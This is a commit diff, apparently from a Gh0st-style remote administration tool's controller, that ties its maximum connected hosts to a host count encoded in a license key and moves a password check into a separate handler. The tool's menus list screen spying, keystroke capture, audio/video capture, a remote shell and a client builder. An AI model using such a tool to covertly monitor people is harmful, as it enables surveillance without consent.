Improve: Support authorizing the online host quantity
This commit is contained in:
@@ -78,7 +78,7 @@ public:
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>0
|
||||
// nPortʾ<74><CABE>: 6543;7543
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort) {
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn) {
|
||||
bool succeed = false;
|
||||
auto list = StringToVector(uPort, ';');
|
||||
for (int i=0; i<list.size(); ++i)
|
||||
@@ -90,6 +90,7 @@ public:
|
||||
SAFE_DELETE(svr);
|
||||
continue;
|
||||
}
|
||||
svr->UpdateMaxConnection(maxConn);
|
||||
succeed = true;
|
||||
m_iocpServer.push_back(svr);
|
||||
}
|
||||
|
||||
Binary file not shown.
@@ -282,6 +282,7 @@ std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath) {
|
||||
|
||||
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||
{
|
||||
m_nMaxConnection = 0;
|
||||
m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
m_hIcon = THIS_APP->LoadIcon(IDR_MAINFRAME);
|
||||
|
||||
@@ -350,7 +351,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
|
||||
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
|
||||
ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
|
||||
ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout)
|
||||
ON_COMMAND(IDM_ONLINE_ABOUT, &CMy2015RemoteDlg::OnAbout)
|
||||
|
||||
ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
|
||||
ON_COMMAND(IDM_ONLINE_PROCESS, &CMy2015RemoteDlg::OnOnlineProcessManager)
|
||||
@@ -360,17 +361,17 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(IDM_ONLINE_AUDIO, &CMy2015RemoteDlg::OnOnlineAudioManager)
|
||||
ON_COMMAND(IDM_ONLINE_VIDEO, &CMy2015RemoteDlg::OnOnlineVideoManager)
|
||||
ON_COMMAND(IDM_ONLINE_SERVER, &CMy2015RemoteDlg::OnOnlineServerManager)
|
||||
ON_COMMAND(IDM_ONLINE_REGISTER, &CMy2015RemoteDlg::OnOnlineRegisterManager)
|
||||
ON_COMMAND(IDM_ONLINE_REGISTER, &CMy2015RemoteDlg::OnOnlineRegisterManager)
|
||||
ON_COMMAND(IDM_KEYBOARD, &CMy2015RemoteDlg::OnOnlineKeyboardManager)
|
||||
ON_COMMAND(IDM_ONLINE_BUILD, &CMy2015RemoteDlg::OnOnlineBuildClient) //生成Client
|
||||
ON_MESSAGE(UM_ICONNOTIFY, (LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM))OnIconNotify)
|
||||
ON_MESSAGE(UM_ICONNOTIFY, (LRESULT(__thiscall CWnd::*)(WPARAM, LPARAM))OnIconNotify)
|
||||
ON_COMMAND(IDM_NOTIFY_SHOW, &CMy2015RemoteDlg::OnNotifyShow)
|
||||
ON_COMMAND(ID_NOTIFY_EXIT, &CMy2015RemoteDlg::OnNotifyExit)
|
||||
ON_COMMAND(ID_MAIN_SET, &CMy2015RemoteDlg::OnMainSet)
|
||||
ON_COMMAND(ID_MAIN_EXIT, &CMy2015RemoteDlg::OnMainExit)
|
||||
ON_MESSAGE(WM_USERTOONLINELIST, OnUserToOnlineList)
|
||||
ON_MESSAGE(WM_USERTOONLINELIST, OnUserToOnlineList)
|
||||
ON_MESSAGE(WM_USEROFFLINEMSG, OnUserOfflineMsg)
|
||||
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
|
||||
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
|
||||
ON_MESSAGE(WM_OPENFILEMANAGERDIALOG, OnOpenFileManagerDialog)
|
||||
ON_MESSAGE(WM_OPENTALKDIALOG, OnOpenTalkDialog)
|
||||
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
|
||||
@@ -389,6 +390,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_OPENFILEMGRDIALOG, OnOpenFileMgrDialog)
|
||||
ON_MESSAGE(WM_OPENDRAWINGBOARD, OnOpenDrawingBoard)
|
||||
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
|
||||
ON_MESSAGE(WM_PASSWORDCHECK, OnPasswordCheck)
|
||||
ON_WM_HELPINFO()
|
||||
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
|
||||
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
|
||||
@@ -914,7 +916,18 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
|
||||
CreateSolidMenu();
|
||||
|
||||
if (!ListenPort()) {
|
||||
std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
|
||||
m_nMaxConnection = 1;
|
||||
std::string pwd = THIS_CFG.GetStr("settings", "Password");
|
||||
auto arr = StringToVector(pwd, '-', 6);
|
||||
if (arr.size() == 7) {
|
||||
m_nMaxConnection = atoi(arr[2].c_str());
|
||||
}
|
||||
else {
|
||||
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
|
||||
m_nMaxConnection = nMaxConnection <= 0 ? 10000 : nMaxConnection;
|
||||
}
|
||||
if (!Activate(nPort, m_nMaxConnection)){
|
||||
OnCancel();
|
||||
return FALSE;
|
||||
}
|
||||
@@ -1063,6 +1076,31 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
}
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnPasswordCheck(WPARAM wParam, LPARAM lParam) {
|
||||
static bool isChecking = false;
|
||||
if (isChecking)
|
||||
return S_OK;
|
||||
|
||||
isChecking = true;
|
||||
if (!CheckValid(-1))
|
||||
{
|
||||
KillTimer(TIMER_CHECK);
|
||||
CInputDialog dlg(this);
|
||||
dlg.m_str = m_superPass.c_str();
|
||||
dlg.Init("输入密码", "输入主控程序的密码:");
|
||||
dlg.DoModal();
|
||||
if (hashSHA256(dlg.m_str.GetString()) != GetPwdHash()) {
|
||||
THIS_APP->UpdateMaxConnection(1);
|
||||
MessageBox("请向管理员申请口令。", "提示", MB_ICONWARNING);
|
||||
}
|
||||
else {
|
||||
m_superPass = dlg.m_str.GetString();
|
||||
MessageBox("请及时对当前主控程序授权: 在工具菜单中生成口令!", "提示", MB_ICONWARNING);
|
||||
}
|
||||
}
|
||||
isChecking = false;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
||||
{
|
||||
@@ -1078,21 +1116,7 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (!CheckValid(-1))
|
||||
{
|
||||
KillTimer(nIDEvent);
|
||||
CInputDialog dlg(this);
|
||||
dlg.m_str = m_superPass.c_str();
|
||||
dlg.Init("输入密码", "输入主控程序的密码:");
|
||||
dlg.DoModal();
|
||||
if (hashSHA256(dlg.m_str.GetString()) != GetPwdHash()) {
|
||||
MessageBox("请通知管理员延长授权时间,再关闭此提示信息!!!"
|
||||
"\n否则,关闭此提示信息将退出程序,无法授权成功。", "提示", MB_ICONWARNING);
|
||||
return OnMainExit();
|
||||
}
|
||||
m_superPass = dlg.m_str.GetString();
|
||||
MessageBox("请及时对当前主控程序授权: 在工具菜单中生成口令!", "提示", MB_ICONWARNING);
|
||||
}
|
||||
PostMessageA(WM_PASSWORDCHECK);
|
||||
}
|
||||
if (nIDEvent == TIMER_CLOSEWND) {
|
||||
DeletePopupWindow();
|
||||
@@ -1471,17 +1495,17 @@ bool CMy2015RemoteDlg::CheckValid(int trail) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 密码形式:20250209 - 20350209: SHA256
|
||||
// 密码形式:20250209 - 20350209: SHA256: HostNum
|
||||
auto v = splitString(dlg.m_sPassword.GetBuffer(), '-');
|
||||
if (v.size() != 6)
|
||||
if (v.size() != 6 && v.size() != 7)
|
||||
{
|
||||
THIS_CFG.SetStr(settings, pwdKey, "");
|
||||
MessageBox("格式错误,请重新申请口令!", "提示", MB_ICONINFORMATION);
|
||||
KillTimer(TIMER_CHECK);
|
||||
return false;
|
||||
}
|
||||
std::vector<std::string> subvector(v.begin() + 2, v.end());
|
||||
std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash();
|
||||
std::vector<std::string> subvector(v.end() - 4, v.end());
|
||||
std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash() + (v.size()==6?"":": "+v[2]);
|
||||
std::string finalKey = deriveKey(password, deviceID);
|
||||
std::string hash256 = joinString(subvector, '-');
|
||||
std::string fixedKey = getFixedLengthID(finalKey);
|
||||
@@ -1512,14 +1536,6 @@ bool CMy2015RemoteDlg::CheckValid(int trail) {
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineBuildClient()
|
||||
{
|
||||
// 给新编译的程序14天试用期,过期之后生成服务端需要申请"口令";
|
||||
// 如果要对其他功能乃至整个程序启动授权逻辑,将下述if语句添加到相应地方即可。
|
||||
// 口令包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改!
|
||||
// 注释下面 if 语句可以屏蔽该授权逻辑.
|
||||
// 2025/04/20
|
||||
if (!CheckValid(365))
|
||||
return;
|
||||
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CBuildDlg Dlg;
|
||||
Dlg.m_strIP = THIS_CFG.GetStr("settings", "master", "").c_str();
|
||||
@@ -1575,14 +1591,11 @@ void CMy2015RemoteDlg::OnNotifyExit()
|
||||
//固态菜单
|
||||
void CMy2015RemoteDlg::OnMainSet()
|
||||
{
|
||||
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
|
||||
CSettingDlg Dlg;
|
||||
Dlg.m_nMax_Connect = m_nMaxConnection;
|
||||
|
||||
Dlg.DoModal(); //模态 阻塞
|
||||
if (nMaxConnection != Dlg.m_nMax_Connect)
|
||||
{
|
||||
THIS_APP->UpdateMaxConnection(Dlg.m_nMax_Connect);
|
||||
}
|
||||
|
||||
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
|
||||
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
|
||||
if (m== m_settings.ReportInterval && n == m_settings.DetectSoftware) {
|
||||
@@ -1607,19 +1620,6 @@ void CMy2015RemoteDlg::OnMainExit()
|
||||
CDialogEx::OnOK(); // 关闭对话框
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::ListenPort()
|
||||
{
|
||||
std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
|
||||
//读取ini 文件中的监听端口
|
||||
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
|
||||
//读取最大连接数
|
||||
|
||||
if (nMaxConnection <= 0)
|
||||
nMaxConnection = 10000;
|
||||
return Activate(nPort,nMaxConnection); //开始监听
|
||||
}
|
||||
|
||||
|
||||
std::string exec(const std::string& cmd) {
|
||||
HANDLE hReadPipe, hWritePipe;
|
||||
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
|
||||
@@ -1689,7 +1689,7 @@ std::vector<std::string> splitByNewline(const std::string& input) {
|
||||
BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection)
|
||||
{
|
||||
UINT ret = 0;
|
||||
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
|
||||
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection)) !=0 )
|
||||
{
|
||||
Mprintf("======> StartServer Failed \n");
|
||||
char cmd[200];
|
||||
|
||||
@@ -168,7 +168,7 @@ public:
|
||||
VOID CreateToolBar();
|
||||
VOID CreateNotifyBar();
|
||||
VOID CreateSolidMenu();
|
||||
BOOL ListenPort();
|
||||
int m_nMaxConnection;
|
||||
BOOL Activate(const std::string& nPort,int nMaxConnection);
|
||||
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
|
||||
void SendMasterSettings(CONTEXT_OBJECT* ctx);
|
||||
@@ -263,4 +263,5 @@ public:
|
||||
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnOnlineUnauthorize();
|
||||
afx_msg void OnToolRequestAuth();
|
||||
afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
|
||||
};
|
||||
|
||||
@@ -126,6 +126,7 @@ CPwdGenDlg::CPwdGenDlg(CWnd* pParent /*=nullptr*/)
|
||||
, m_sUserPwd(_T(""))
|
||||
, m_ExpireTm(COleDateTime::GetCurrentTime())
|
||||
, m_StartTm(COleDateTime::GetCurrentTime())
|
||||
, m_nHostNum(1)
|
||||
{
|
||||
|
||||
}
|
||||
@@ -150,6 +151,9 @@ void CPwdGenDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDX_DateTimeCtrl(pDX, IDC_EXPIRE_DATE, m_ExpireTm);
|
||||
DDX_Control(pDX, IDC_START_DATE, m_StartDate);
|
||||
DDX_DateTimeCtrl(pDX, IDC_START_DATE, m_StartTm);
|
||||
DDX_Control(pDX, IDC_EDIT_HOSTNUM, m_EditHostNum);
|
||||
DDX_Text(pDX, IDC_EDIT_HOSTNUM, m_nHostNum);
|
||||
DDV_MinMaxInt(pDX, m_nHostNum, 1, 9999);
|
||||
}
|
||||
|
||||
|
||||
@@ -172,10 +176,12 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
|
||||
}
|
||||
CString strBeginDate = m_StartTm.Format("%Y%m%d");
|
||||
CString strEndDate = m_ExpireTm.Format("%Y%m%d");
|
||||
// 密码形式:20250209 - 20350209: SHA256
|
||||
std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + GetPwdHash();
|
||||
CString hostNum;
|
||||
hostNum.Format("%04d", m_nHostNum);
|
||||
// 密码形式:20250209 - 20350209: SHA256: HostNum
|
||||
std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + GetPwdHash() + ": " + hostNum.GetBuffer();
|
||||
std::string finalKey = deriveKey(password, m_sDeviceID.GetString());
|
||||
std::string fixedKey = strBeginDate.GetString() + std::string("-") + strEndDate.GetBuffer() + std::string("-") +
|
||||
std::string fixedKey = strBeginDate.GetString() + std::string("-") + strEndDate.GetBuffer() + std::string("-") + hostNum.GetString() + "-" +
|
||||
getFixedLengthID(finalKey);
|
||||
m_EditPassword.SetWindowTextA(fixedKey.c_str());
|
||||
std::string hardwareID = getHardwareID();
|
||||
|
||||
@@ -76,4 +76,6 @@ public:
|
||||
CDateTimeCtrl m_StartDate;
|
||||
COleDateTime m_StartTm;
|
||||
virtual BOOL OnInitDialog();
|
||||
CEdit m_EditHostNum;
|
||||
int m_nHostNum;
|
||||
};
|
||||
|
||||
@@ -43,12 +43,7 @@ IOCPServer::IOCPServer(void)
|
||||
m_hListenEvent = WSA_INVALID_EVENT;
|
||||
m_hListenThread = NULL;
|
||||
|
||||
m_ulMaxConnections = THIS_CFG.GetInt("settings", "MaxConnection");
|
||||
|
||||
if (m_ulMaxConnections<=0)
|
||||
{
|
||||
m_ulMaxConnections = 10000;
|
||||
}
|
||||
m_ulMaxConnections = 10000;
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
|
||||
|
||||
@@ -70,15 +70,12 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
m_sPublicIP = THIS_CFG.GetStr("settings", "master", "").c_str();
|
||||
m_sPublicIP = m_sPublicIP.IsEmpty() ? cvt.getPublicIP().c_str() : m_sPublicIP;
|
||||
std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
|
||||
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
|
||||
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
|
||||
|
||||
int DXGI = THIS_CFG.GetInt("settings", "DXGI");
|
||||
|
||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
|
||||
|
||||
m_nListenPort = nPort.c_str();
|
||||
m_nMax_Connect = nMaxConnection<=0 ? 10000 : nMaxConnection;
|
||||
|
||||
int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString());
|
||||
switch (n)
|
||||
@@ -135,8 +132,6 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
|
||||
UpdateData(TRUE);
|
||||
THIS_CFG.SetStr("settings", "master", m_sPublicIP.GetBuffer());
|
||||
THIS_CFG.SetStr("settings", "ghost", m_nListenPort.GetString());
|
||||
//<2F><>ini<6E>ļ<EFBFBD><C4BC><EFBFBD>д<EFBFBD><D0B4>ֵ
|
||||
THIS_CFG.SetInt("settings", "MaxConnection", m_nMax_Connect);
|
||||
|
||||
int n = m_ComboScreenCapture.GetCurSel();
|
||||
THIS_CFG.SetInt("settings", "DXGI", n);
|
||||
|
||||
Binary file not shown.
@@ -81,6 +81,7 @@
|
||||
#define WM_OPENDECRYPTDIALOG WM_USER+3018
|
||||
#define WM_OPENFILEMGRDIALOG WM_USER+3019
|
||||
#define WM_OPENDRAWINGBOARD WM_USER+3020
|
||||
#define WM_PASSWORDCHECK WM_USER+3021
|
||||
|
||||
#ifdef _UNICODE
|
||||
#if defined _M_IX86
|
||||
|
||||
Reference in New Issue
Block a user